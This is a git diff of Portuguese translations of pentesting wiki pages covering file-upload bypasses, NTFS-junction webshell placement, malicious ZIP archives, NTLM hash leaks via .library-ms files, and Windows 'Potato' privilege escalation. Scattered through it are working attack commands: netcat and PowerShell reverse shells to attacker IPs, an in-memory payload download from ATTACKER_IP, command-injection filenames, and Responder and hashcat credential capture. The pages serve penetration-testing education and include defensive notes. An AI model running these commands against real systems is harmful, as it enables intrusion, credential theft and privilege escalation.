03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Observe que **outra opção** que você pode estar pensando para contornar essa checagem é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, de modo que a URL inicial passará pela verificação e então o wget baixará o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**. +Observe que **outra opção** que você pode estar considerando para contornar essa verificação é fazer o **HTTP server redirecionar para um arquivo diferente**, de modo que a URL inicial passe pela verificação e então o wget baixe o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **o wget vai baixar a página redirecionada com o nome do arquivo indicado na URL original**. + +### Escapando do diretório de upload via NTFS junctions (Windows) + +(Para este ataque você precisará de acesso local à máquina Windows) Quando os uploads são armazenados em subpastas por usuário no Windows (por exemplo, C:\Windows\Tasks\Uploads\\) e você controla a criação/remoção dessa subpasta, você pode substituí-la por uma directory junction apontando para um local sensível (por exemplo, o webroot). Uploads subsequentes serão gravados no caminho alvo, permitindo execução de código se o alvo interpretar server‑side code. + +Exemplo de fluxo para redirecionar uploads para o XAMPP webroot: +```cmd +:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields) +:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 + +:: 2) Remove the created folder and create a junction to webroot +rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 +cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs + +:: 3) Re-upload your payload; it lands under C:\xampp\htdocs +:: Minimal PHP webshell for testing +:: + +:: 4) Trigger +curl "http://TARGET/shell.php?cmd=whoami" +``` +Notas +- mklink /J cria uma junction de diretório NTFS (reparse point). A conta do servidor web deve seguir a junction e ter permissão de escrita no destino. +- Isso redireciona gravações de arquivos arbitrárias; se o destino executar scripts (PHP/ASP), isso vira RCE. +- Defesas: não permita que upload roots graváveis sejam controláveis pelo atacante em C:\Windows\Tasks ou similar; bloqueie a criação de junctions; valide extensões server‑side; armazene uploads em um volume separado ou com ACLs deny‑execute. ## Ferramentas -- [Upload Bypass] é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters no teste de mecanismos de file upload. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters em testes de file upload. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web. ### Corrompendo índices de upload com peculiaridades do snprintf (histórico) -Alguns legacy upload handlers que usam `snprintf()` ou similares para construir arrays multi-file a partir de um single-file upload podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento de `snprintf()`, um upload único cuidadosamente criado pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume uma forma estrita (por exemplo, tratando como um multi-file upload e seguindo ramificações inseguras). Embora seja nicho hoje em dia, esse padrão de “index corruption” ocasionalmente ressurgem em CTFs e em bases de código mais antigas. +Alguns handlers de upload legados que usam `snprintf()` ou similar para construir arrays multi-file a partir de um upload single-file podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento de `snprintf()`, um upload único cuidadosamente criado pode aparecer como múltiplos arquivos indexados no lado servidor, confundindo lógica que assume um formato rígido (ex.: tratando como multi-file upload e seguindo branches inseguros). Embora seja um caso nicho hoje, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases antigas. -## From File upload to other vulnerabilities +## De File upload para outras vulnerabilidades -- Defina **filename** para `../../../tmp/lol.png` e tente conseguir um **path traversal** +- Defina **filename** para `../../../tmp/lol.png` e tente alcançar um **path traversal** - Defina **filename** para `sleep(10)-- -.jpg` e você pode conseguir um **SQL injection** - Defina **filename** para `` para conseguir um **XSS** -- Defina **filename** para `; sleep 10;` para testar alguma **command injection** (mais [command injections tricks here](../command-injection.md)) +- Defina **filename** para `; sleep 10;` para testar algum command injection (mais [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Tente **diferentes svg payloads** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- Tente **different svg payloads** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Se você pode **indicar ao web server para buscar uma imagem a partir de uma URL** você pode tentar abusar um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **image** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informação de cada visitante**. +- Se você puder indicar o servidor web para buscar uma imagem de uma URL, você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **image** for **saved** em algum site **public**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **steal information of every visitor**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- PDFs especialmente craftados para XSS: A [página a seguir apresenta como **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderia preparar um PDF que execute JS arbitrário seguindo as indicações dadas. -- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus** -- Verifique se existe algum **limite de tamanho** ao fazer upload de arquivos +- PDFs especialmente criados para XSS: A [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, você poderia preparar um PDF que execute JS arbitrário seguindo as indicações fornecidas. +- Faça upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivirus** +- Verifique se existe algum **size limit** ao fazer upload de arquivos -Aqui vai uma lista top 10 de coisas que você pode alcançar fazendo upload (a partir de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -274,37 +299,37 @@ Aqui vai uma lista top 10 de coisas que você pode alcançar fazendo upload (a p https://github.com/portswigger/upload-scanner {{#endref}} -## Bytes mágicos de cabeçalho +## Bytes Mágicos do Cabeçalho - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` -Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo. +Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. -## Upload de arquivos Zip/Tar descomprimidos automaticamente +## Upload de arquivo Zip/Tar descompactado automaticamente -Se você puder fazer upload de um ZIP que será descomprimido dentro do servidor, você pode fazer 2 coisas: +Se você puder fazer upload de um ZIP que será descompactado no servidor, você pode fazer 2 coisas: ### Symlink -Faça upload de um pacote contendo links simbólicos para outros arquivos; então, ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados: +Faça upload de um arquivo contendo links simbólicos para outros arquivos; então, ao acessar os arquivos descompactados, você acessará os arquivos linkados: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Descompactar em pastas diferentes +### Descomprimir em pastas diferentes -A criação inesperada de arquivos em diretórios durante a descompactação é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia impedir a execução de comandos em nível OS-level por meio de uploads maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros manipulando a funcionalidade de descompactação da aplicação alvo. +A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar da suposição inicial de que essa configuração poderia impedir a execução de comandos a nível do OS por meio de malicious file uploads, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo. -Um exploit automatizado para gerar esses arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). O utilitário pode ser usado como mostrado: +Um exploit automatizado para criar tais arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). A ferramenta pode ser usada como mostrado: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Além disso, o **symlink trick with evilarc** é uma opção. Se o objetivo for atingir um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que evilarc não encontre erros durante sua operação. +Além disso, a **symlink trick with evilarc** é uma opção. Se o objetivo for atingir um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que o evilarc não encontre erros durante sua operação. Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso: ```python @@ -325,11 +350,11 @@ zip.close() create_zip() ``` -**Abusando de compressão para file spraying** +**Abusando da compressão para file spraying** -Para mais detalhes **veja a postagem original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Para mais detalhes **veja o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: Código PHP é escrito para executar comandos passados através da variável `$_REQUEST`. +1. **Creating a PHP Shell**: Código PHP é escrito para executar comandos recebidos via variável `$_REQUEST`. ```php +Leak + + + + + +``` +Fluxo de coleta e cracking: +```bash +# Capture the authentication +sudo Responder -I + +# Crack the captured NetNTLMv2 +hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt +``` +### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055) + +O Windows Explorer lida de forma insegura com arquivos .library-ms quando são abertos diretamente de dentro de um arquivo ZIP. Se a definição da biblioteca apontar para um caminho UNC remoto (por exemplo, \\attacker\share), simplesmente navegar/abrir o .library-ms dentro do ZIP faz com que o Explorer enumere o UNC e envie autenticação NTLM ao atacante. Isso gera um NetNTLMv2 que pode ser cracked offline ou potencialmente relayed. + +Exemplo mínimo de .library-ms apontando para um UNC do atacante +```xml + + +6 +Company Documents +false +shell32.dll,-235 + +{7d49d726-3c21-4f05-99aa-fdc2c9474656} + + + + +\\10.10.14.2\share + + + + +``` +Passos operacionais +- Crie o arquivo .library-ms com o XML acima (defina seu IP/hostname). +- Compacte-o (no Windows: Send to → Compressed (zipped) folder) e entregue o ZIP ao alvo. +- Execute um listener de captura NTLM e aguarde a vítima abrir o .library-ms de dentro do ZIP. + + +## Referências +- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html) +- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) +- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index abc2b3b76..26e47200b 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. +> **JuicyPotato não funciona** em Windows Server 2019 e Windows 10 build 1809 em diante. No entanto, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** podem ser usados para obter os mesmos privilégios e ganhar acesso em nível `NT AUTHORITY\SYSTEM`.** Este [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) aprofunda-se na ferramenta `PrintSpoofer`, que pode ser usada para abusar de privilégios de impersonation em hosts Windows 10 e Server 2019 onde o JuicyPotato não funciona mais. > [!TIP] -> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References. +> Uma alternativa moderna frequentemente mantida em 2024–2025 é SigmaPotato (um fork do GodPotato) que adiciona uso em memória/.NET reflection e suporte estendido de SO. Veja uso rápido abaixo e o repo em References. Related pages for background and manual techniques: @@ -24,23 +24,24 @@ privilege-escalation-abusing-tokens.md ## Requisitos e armadilhas comuns -Todas as técnicas a seguir dependem de abusar de um serviço privilegiado com capacidade de impersonation a partir de um contexto que detenha qualquer um destes privilégios: +Todas as técnicas a seguir dependem de abusar de um serviço privilegiado com capacidade de impersonation a partir de um contexto que detenha um destes privilégios: - SeImpersonatePrivilege (o mais comum) ou SeAssignPrimaryTokenPrivilege - Integridade elevada não é necessária se o token já tiver SeImpersonatePrivilege (típico para muitas contas de serviço como IIS AppPool, MSSQL, etc.) -Verifique privilégios rapidamente: +Verifique os privilégios rapidamente: ```cmd whoami /priv | findstr /i impersonate ``` Notas operacionais: -- PrintSpoofer requer o serviço Print Spooler em execução e acessível pelo endpoint RPC local (spoolss). Em ambientes endurecidos onde o Spooler foi desativado após o PrintNightmare, prefira RoguePotato/GodPotato/DCOMPotato/EfsPotato. -- RoguePotato requer um OXID resolver acessível via TCP/135. Se o egress estiver bloqueado, use um redirector/port-forwarder (veja o exemplo abaixo). Builds mais antigas precisavam da flag -f. +- Se sua shell estiver rodando sob um token restrito sem SeImpersonatePrivilege (comum para Local Service/Network Service em alguns contextos), recupere os privilégios padrão da conta usando FullPowers e então execute um Potato. Exemplo: `FullPowers.exe -c "cmd /c whoami /priv" -z` +- PrintSpoofer requer o serviço Print Spooler em execução e acessível pelo endpoint RPC local (spoolss). Em ambientes reforçados onde o Spooler foi desabilitado após o PrintNightmare, prefira RoguePotato/GodPotato/DCOMPotato/EfsPotato. +- RoguePotato requer um OXID resolver acessível via TCP/135. Se egress estiver bloqueado, use um redirector/port-forwarder (veja o exemplo abaixo). Versões mais antigas precisavam da flag -f. - EfsPotato/SharpEfsPotato abusam de MS-EFSR; se um pipe estiver bloqueado, tente pipes alternativos (lsarpc, efsrpc, samr, lsass, netlogon). -- O erro 0x6d3 durante RpcBindingSetAuthInfo geralmente indica um serviço de autenticação RPC desconhecido/não suportado; tente outro pipe/transporte ou verifique se o serviço alvo está em execução. +- O erro 0x6d3 durante RpcBindingSetAuthInfo normalmente indica um serviço de autenticação RPC desconhecido/não suportado; tente um pipe/transporte diferente ou garanta que o serviço alvo esteja em execução. -## Demonstração Rápida +## Demonstração rápida ### PrintSpoofer ```bash @@ -58,8 +59,8 @@ NULL ``` Notas: -- Você pode usar -i para iniciar um processo interativo no console atual, ou -c para executar um comando de uma linha. -- Requer o serviço Spooler. Se estiver desativado, isso falhará. +- Você pode usar -i para iniciar um processo interativo no console atual, ou -c para executar um one-liner. +- Requer o serviço Spooler. Se desativado, isso falhará. ### RoguePotato ```bash @@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -Se a porta 135 de saída estiver bloqueada, pivot o OXID resolver via socat no seu redirector: +Se o tráfego de saída pela porta 135 estiver bloqueado, encaminhe o OXID resolver via socat no seu redirector: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -122,14 +123,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) # You can achieve a reverse shell like this. > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` -Notes: -- Funciona no Windows 8/8.1–11 e Server 2012–2022 quando SeImpersonatePrivilege está presente. +Notas: +- Funciona em Windows 8/8.1–11 e Server 2012–2022 quando SeImpersonatePrivilege está presente. ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato fornece duas variantes que miram objetos DCOM de serviço que por padrão usam RPC_C_IMP_LEVEL_IMPERSONATE. Compile ou use os binaries fornecidos e execute seu comando: +DCOMPotato fornece duas variantes que miram objetos DCOM de serviço que por padrão usam RPC_C_IMP_LEVEL_IMPERSONATE. Compile ou use os binários fornecidos e execute seu comando: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,9 +138,9 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (fork do GodPotato atualizado) +### SigmaPotato (fork atualizado do GodPotato) -SigmaPotato adiciona melhorias modernas, como execução em memória via .NET reflection e um PowerShell reverse shell helper. +SigmaPotato adiciona funcionalidades modernas, como execução em memória via .NET reflection e um auxiliar de reverse shell em PowerShell. ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -148,13 +149,13 @@ SigmaPotato adiciona melhorias modernas, como execução em memória via .NET re # Or ask it to spawn a PS reverse shell [SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444")) ``` -## Notas de detecção e endurecimento +## Notas de detecção e hardening -- Monitore processos que criam named pipes e imediatamente chamam token-duplication APIs seguidas por CreateProcessAsUser/CreateProcessWithTokenW. O Sysmon pode revelar telemetria útil: Event ID 1 (criação de processo), 17/18 (named pipe criado/conectado) e linhas de comando que geram processos filhos como SYSTEM. -- Endurecimento do Spooler: Desabilitar o serviço Print Spooler em servidores onde não é necessário impede coerções locais do tipo PrintSpoofer via spoolss. -- Endurecimento de contas de serviço: Minimize a atribuição de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a serviços customizados. Considere executar serviços sob contas virtuais com os privilégios mínimos necessários e isolá-los com service SID e write-restricted tokens quando possível. -- Controles de rede: Bloquear TCP/135 de saída ou restringir o tráfego do RPC endpoint mapper pode quebrar o RoguePotato, a menos que um redirecionador interno esteja disponível. -- EDR/AV: Todas essas ferramentas são amplamente signatured. Recompilar a partir do source, renomear símbolos/strings ou usar execução em memória pode reduzir a detecção, mas não derrotará detecções comportamentais sólidas. +- Monitore processos que criam named pipes e imediatamente chamam APIs de duplicação de token seguidas por CreateProcessAsUser/CreateProcessWithTokenW. O Sysmon pode expor telemetria útil: Event ID 1 (criação de processo), 17/18 (named pipe criado/conectado) e linhas de comando que geram processos filhos como SYSTEM. +- Spooler hardening: Desabilitar o serviço Print Spooler em servidores onde não é necessário previne coerções locais ao estilo PrintSpoofer via spoolss. +- Service account hardening: Minimize a atribuição de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a serviços customizados. Considere executar serviços sob contas virtuais com os menores privilégios necessários e isolá-los com service SID e tokens com permissão de escrita restrita quando possível. +- Controles de rede: Bloquear TCP/135 de saída ou restringir o tráfego do RPC endpoint mapper pode quebrar RoguePotato a menos que um redirector interno esteja disponível. +- EDR/AV: Todas essas ferramentas têm assinaturas amplamente conhecidas. Recompilar a partir do source, renomear símbolos/strings ou usar execução em memória pode reduzir a detecção, mas não derrotará detecções comportamentais robustas. ## Referências @@ -167,5 +168,7 @@ SigmaPotato adiciona melhorias modernas, como execução em memória via .NET re - [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato) - [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato) - [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/) +- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers) +- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) {{#include ../../banners/hacktricks-training.md}}